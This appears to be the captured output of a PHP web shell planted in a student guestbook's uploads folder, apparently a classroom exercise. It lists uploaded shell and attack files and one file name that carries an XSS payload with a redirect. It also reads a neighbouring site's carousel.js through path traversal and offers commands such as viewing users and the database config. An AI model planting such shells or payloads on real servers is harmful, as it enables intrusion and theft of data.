🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
📁 ..
📄 003b15869ae62d2ceeee451a5f652dd6.png [view]
📄 0tk5j14v024b1.jpg [view]
📄 300px-Cursed_Cat.jpg [view]
📄 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
📄 Bill-Gates-Paul-Allen-2013.jpg [view]
📄 CV Jasper Kramp.png [view]
📄 Cat profile.png [view]
📄 Fronalpstock_big.jpg [view]
📄 Krik en las.jpg [view]
📄 Krik.jpg [view]
📄 Pino-dood-03.jpg [view]
📄 Shellz.php [view]
📄 Ted_Kaczynski_2_(cropped).jpg [view]
📄 Tux.svg.png [view]
📄 Z.png [view]
📄 android.jpg [view]
📄 apple.php [view]
📄 cianancatfish.jpg [view]
📄 downloads (1).jpeg [view]
📄 downloads.jpeg [view]
📄 epresso.jpg [view]
📄 fake_photo.png [view]
📄 hand.jpg [view]
📄 https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
📄 image.png [view]
📄 images.jpeg [view]
📄 info.php [view]
📄 inject.php [view]
📄 instant_redirect.jpg [view]
📄 japper.jpg [view]
📄 koekiemonster-3.jpg [view]
📄 logo.png [view]
📄 muis.jpg [view]
📄 people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
📄 picobellobv.jpeg [view]
📄 redirect.php [view]
📄 rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
📄 sdfsa.png [view]
📄 sneaky.svg [view]
📄 taylor.webp [view]
📄 test.html [view]
📄 testpreg.php [view]
📄 testpreg1.php [view]
📄 testtest.php.JPG [view]
📄 ultimate_attack.gif [view]
📄 ultimate_attack.php [view]
📄 ultimate_attack.svg [view]
📄 wallpaper.jpg [view]
📄 webshell.php [view]

📄 Viewing: ./../../../../584701.klas4s23.mid-ica.nl/public_html/../public_html/assets/js/carousel.js

/**
 * Enhanced Project Carousel
 * Creates an interactive carousel for project cards with navigation and autoplay
 */
function initProjectCarousel() {
    // Only enable carousel on non-mobile devices
    if (window.innerWidth <= 768) {
        return; // Exit early on mobile devices
    }
    
    const projectsContainer = document.querySelector('.projects__container');
    const projectCards = document.querySelectorAll('.projects__card');
    
    if (!projectsContainer || projectCards.length === 0) {
        console.warn('Projects container or cards not found');
        return;
    }

    let currentIndex = 0;
    let cardsPerView = getCardsPerView();
    let autoplayInterval;
    let isTransitioning = false;

    // Create carousel navigation
    createCarouselControls();
    
    // Initialize carousel
    initializeCarousel();
    
    // Start autoplay
    startAutoplay();

    // Handle window resize
    window.addEventListener('resize', handleResize);

    /*=============== HELPER FUNCTIONS ===============*/
    
    function getCardsPerView() {
        const width = window.innerWidth;
        if (width < 768) return 1;      // Mobile: 1 card
        if (width < 1024) return 3;     // Tablet: 3 cards
        return 2;                       // Desktop: 2 cards
    }

    function updateNavigationState() {
        const prevBtn = document.querySelector('.projects__nav-btn--prev');
        const nextBtn = document.querySelector('.projects__nav-btn--next');
        const totalPages = Math.ceil(projectCards.length / cardsPerView);

        if (prevBtn && nextBtn) {
            // Enable/disable navigation buttons based on current index
            prevBtn.disabled = currentIndex === 0;
            nextBtn.disabled = currentIndex === totalPages - 1;
        }
    }

    /*=============== CAROUSEL CONTROLS ===============*/
    
    function createCarouselControls() {
        // Create navigation buttons container
        const navContainer = document.createElement('div');
        navContainer.className = 'projects__navigation';
        
        // Previous button
        const prevBtn = document.createElement('button');
        prevBtn.className = 'projects__nav-btn projects__nav-btn--prev';
        prevBtn.innerHTML = '<i class="ri-arrow-left-s-line"></i>';
        prevBtn.addEventListener('click', () => navigateCarousel('prev'));
        
        // Next button
        const nextBtn = document.createElement('button');
        nextBtn.className = 'projects__nav-btn projects__nav-btn--next';
        nextBtn.innerHTML = '<i class="ri-arrow-right-s-line"></i>';
        nextBtn.addEventListener('click', () => navigateCarousel('next'));
        
        navContainer.appendChild(prevBtn);
        navContainer.appendChild(nextBtn);
        
        // Insert navigation after projects container
        projectsContainer.parentNode.insertBefore(navContainer, projectsContainer.nextSibling);
        
        // Create dots indicator
        createDotsIndicator();
    }

    function createDotsIndicator() {
        const totalPages = Math.ceil(projectCards.length / cardsPerView);
        const dotsContainer = document.createElement('div');
        dotsContainer.className = 'projects__dots';
        
        for (let i = 0; i < totalPages; i++) {
            const dot = document.createElement('button');
            dot.className = 'projects__dot';
            if (i === 0) dot.classList.add('projects__dot--active');
            dot.addEventListener('click', () => goToSlide(i));
            dotsContainer.appendChild(dot);
        }
        
        const navigation = document.querySelector('.projects__navigation');
        if (navigation) {
            navigation.appendChild(dotsContainer);
        }
    }

    /*=============== CAROUSEL INITIALIZATION ===============*/
    
    function initializeCarousel() {
        // Add carousel wrapper class
        projectsContainer.classList.add('projects__carousel');
        
        // Set initial transform
        updateCarouselPosition();
        
        // Add touch/swipe support
        addTouchSupport();
        
        // Update navigation state
        updateNavigationState();
    }

    function addTouchSupport() {
        let startX = 0;
        let endX = 0;

        projectsContainer.addEventListener('touchstart', (e) => {
            startX = e.touches[0].clientX;
        });

        projectsContainer.addEventListener('touchmove', (e) => {
            endX = e.touches[0].clientX;
        });

        projectsContainer.addEventListener('touchend', () => {
            const threshold = 50; // Minimum swipe distance
            if (startX - endX > threshold) {
                navigateCarousel('next');
            } else if (endX - startX > threshold) {
                navigateCarousel('prev');
            }
        });
    }

    /*=============== CAROUSEL NAVIGATION ===============*/
    
    function updateCarouselPosition(animated = true) {
        if (isTransitioning && animated) return;
        
        isTransitioning = true;
        
        const translateX = -(currentIndex * (100 / cardsPerView));
        
        if (animated) {
            projectsContainer.style.transition = 'transform 0.6s cubic-bezier(0.25, 0.46, 0.45, 0.94)';
        } else {
            projectsContainer.style.transition = 'none';
        }
        
        projectsContainer.style.transform = `translateX(${translateX}%)`;
        
        if (animated) {
            setTimeout(() => {
                isTransitioning = false;
            }, 600);
        } else {
            isTransitioning = false;
        }
        
        updateDotsIndicator();
    }

    function navigateCarousel(direction) {
        if (isTransitioning) return;
        
        stopAutoplay();
        
        const totalPages = Math.ceil(projectCards.length / cardsPerView);
        
        if (direction === 'next') {
            currentIndex = (currentIndex + 1) % totalPages;
        } else {
            currentIndex = currentIndex === 0 ? totalPages - 1 : currentIndex - 1;
        }
        
        updateCarouselPosition();
        updateNavigationState();
        
        // Restart autoplay after user interaction
        setTimeout(startAutoplay, 3000);
    }

    function goToSlide(index) {
        if (isTransitioning || index === currentIndex) return;
        
        stopAutoplay();
        currentIndex = index;
        updateCarouselPosition();
        updateNavigationState();
        
        setTimeout(startAutoplay, 3000);
    }

    function updateDotsIndicator() {
        const dots = document.querySelectorAll('.projects__dot');
        dots.forEach((dot, index) => {
            dot.classList.toggle('projects__dot--active', index === currentIndex);
        });
    }

    /*=============== AUTOPLAY ===============*/
    
    function startAutoplay() {
        stopAutoplay();
        autoplayInterval = setInterval(() => {
            navigateCarousel('next');
        }, 5000); // Change slide every 5 seconds
    }

    function stopAutoplay() {
        if (autoplayInterval) {
            clearInterval(autoplayInterval);
            autoplayInterval = null;
        }
    }

    /*=============== RESPONSIVE HANDLING ===============*/
    
    function handleResize() {
        // Check if we should disable/enable carousel based on screen size
        if (window.innerWidth <= 768) {
            // Mobile - disable carousel
            const existingNav = document.querySelector('.projects__navigation');
            if (existingNav) {
                existingNav.remove();
            }
            stopAutoplay();
            
            // Reset container styles for mobile
            projectsContainer.classList.remove('projects__carousel');
            projectsContainer.style.transform = '';
            projectsContainer.style.transition = '';
            return;
        }
        
        // Desktop/Tablet - ensure carousel is active
        if (!document.querySelector('.projects__navigation')) {
            createCarouselControls();
            initializeCarousel();
            startAutoplay();
        }
        
        const newCardsPerView = getCardsPerView();
        
        if (newCardsPerView !== cardsPerView) {
            cardsPerView = newCardsPerView;
            
            // Recalculate current index to maintain position
            const totalPages = Math.ceil(projectCards.length / cardsPerView);
            currentIndex = Math.min(currentIndex, totalPages - 1);
            
            // Recreate dots indicator
            const existingDots = document.querySelector('.projects__dots');
            if (existingDots) {
                existingDots.remove();
                createDotsIndicator();
            }
            
            // Update position without animation
            updateCarouselPosition(false);
        }
    }

    /*=============== VISIBILITY AND HOVER EVENTS ===============*/
    
    // Pause autoplay when tab is not visible
    document.addEventListener('visibilitychange', () => {
        if (document.hidden) {
            stopAutoplay();
        } else {
            startAutoplay();
        }
    });

    // Pause autoplay when hovering over carousel
    projectsContainer.addEventListener('mouseenter', stopAutoplay);
    projectsContainer.addEventListener('mouseleave', startAutoplay);
}

// Wait for components to load before initializing carousel
window.addEventListener('componentsLoaded', initProjectCarousel);

🎯 Available Actions

Command Execution:

Quick Commands:

📋 List files | 👤 Show user | 📍 Show directory | 🔄 Show processes | 🔐 Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | 🔍 View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!